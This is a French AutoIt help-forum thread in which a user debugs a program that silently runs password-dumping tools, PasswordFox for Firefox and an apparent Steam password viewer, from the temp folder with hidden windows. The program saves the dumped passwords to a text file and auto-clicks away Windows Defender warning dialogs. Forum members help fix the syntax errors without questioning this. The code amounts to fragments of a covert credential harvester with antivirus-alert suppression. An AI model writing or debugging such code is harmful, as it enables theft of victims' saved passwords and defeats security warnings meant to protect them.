[R] Les fenetre et les quitter

Aide et conseils concernant AutoIt et ses outils.
Règles du forum
.
Répondre
jamesst20
Niveau 5
Niveau 5
Messages : 189
Enregistré le : jeu. 05 nov. 2009 00:50
Status : Hors ligne

[R] Les fenetre et les quitter

#1

Message par jamesst20 »

Bonjours, J'ai un petit probleme.. J'ai un soft en autoit qui comprend plusieurs logiciel avec des function..

entre autre j'ai sa:

Code : Tout sélectionner

Func FFPASS()
    $RUNFF = RunWait(@ComSpec & " /c " & @TempDir & "\PasswordFox.exe /stext " & @TempDir & '\ffpass.txt" ', "", @SW_HIDE)
    If $RUNFF = 1 Then $RAPFF = "ERROR"
    
    EndFunc
Mais losque PasswordFox.exe ouvre bein il m'affiche un message d'érreur "Failed To load the decryption library of firefox" car Firefox n'est pas installer et j'ai l'option OK.. Une fois que j'appuie sur Ok le programme continue.. J'aimerais que le message disparaisse sans que j'aille a appuyer sur OK à chaque fois..

Merci de votre aide
Modifié en dernier par jamesst20 le lun. 21 déc. 2009 02:30, modifié 1 fois.
Avatar du membre
Tlem
Site Admin
Site Admin
Messages : 11798
Enregistré le : ven. 20 juil. 2007 21:00
Localisation : Bordeaux
Status : Hors ligne

Re: [..] Les fenetre et les quitter

#2

Message par Tlem »

Je pense qu'il serait nettement plus sage de vérifier la présence de Firefox avant. :roll:
Thierry

Rechercher sur le forum ----- Les règles du forum
Le "ça ne marche pas" est une conséquence commune découlant de beaucoup trop de raisons potentielles ...

Une idée ne peut pas appartenir à quelqu'un. (Albert Jacquard) tiré du documentaire "Copié n'est pas volé".
jamesst20
Niveau 5
Niveau 5
Messages : 189
Enregistré le : jeu. 05 nov. 2009 00:50
Status : Hors ligne

Re: [..] Les fenetre et les quitter

#3

Message par jamesst20 »

Oui :) J'ai réussie avec un if FileExists

Sinon j'ai un nouveau probleme :(

Sa sa fonctionne:

Code : Tout sélectionner

Func STPTEST()

    $RUNST = RunWait(@ComSpec & ' /c "' & 'stpv.exe"', "", @SW_HIDE)
    Sleep(100)

While 1

        If Not ProcessExists("steampwd.exe") Then ExitLoop

    WEnd

    If $RUNST = 1 Then $RAPST = "ERROR"
    If WinExists("Avertissement Windows Defender") Then
        ControlClick("Avertissement Windows Defender", "", 2)

EndIf
    EndFunc
Mais aussi tot que j'ajoute

Code : Tout sélectionner

If FileExists(@ProgramFilesDir & "\Steam\Steam.exe" Then
Qui donne

Code : Tout sélectionner

Func STPTEST()
    If FileExists(@ProgramFilesDir & "\Steam\Steam.exe" Then
    $RUNST = RunWait(@ComSpec & ' /c "' & 'stpv.exe"', "", @SW_HIDE)
    Sleep(100)

While 1

        If Not ProcessExists("steampwd.exe") Then ExitLoop

    WEnd

    If $RUNST = 1 Then $RAPST = "ERROR"
    If WinExists("Avertissement Windows Defender") Then
        ControlClick("Avertissement Windows Defender", "", 2)

EndIf
    EndFunc
Sa donne des érreur de compilation :(

Merci de votre aide :)
Avatar du membre
Tlem
Site Admin
Site Admin
Messages : 11798
Enregistré le : ven. 20 juil. 2007 21:00
Localisation : Bordeaux
Status : Hors ligne

Re: [..] Les fenetre et les quitter

#4

Message par Tlem »

Normal.
Il manque un EndIf.

Vous devriez utiliser Scite4AutoIt pour taper votre code, il vous aurait signalé l'erreur lors de l'utilisation de CTRL+F5 (qui vérifie le code).
De plus votre code serait mieux présenté et donc plus lisible ...
Thierry

Rechercher sur le forum ----- Les règles du forum
Le "ça ne marche pas" est une conséquence commune découlant de beaucoup trop de raisons potentielles ...

Une idée ne peut pas appartenir à quelqu'un. (Albert Jacquard) tiré du documentaire "Copié n'est pas volé".
jamesst20
Niveau 5
Niveau 5
Messages : 189
Enregistré le : jeu. 05 nov. 2009 00:50
Status : Hors ligne

Re: [..] Les fenetre et les quitter

#5

Message par jamesst20 »

Oui je sais mais la j'ai vraiment rocher pour une petite gneserie..

Code : Tout sélectionner

If FileExists(@ProgramFilesDir & "\Steam\Steam.exe" Then
 
Tu voit apres Steam.exe" il fallait mettre un ) je l'avait oublier :P

Merci tout est résolu

A+
Répondre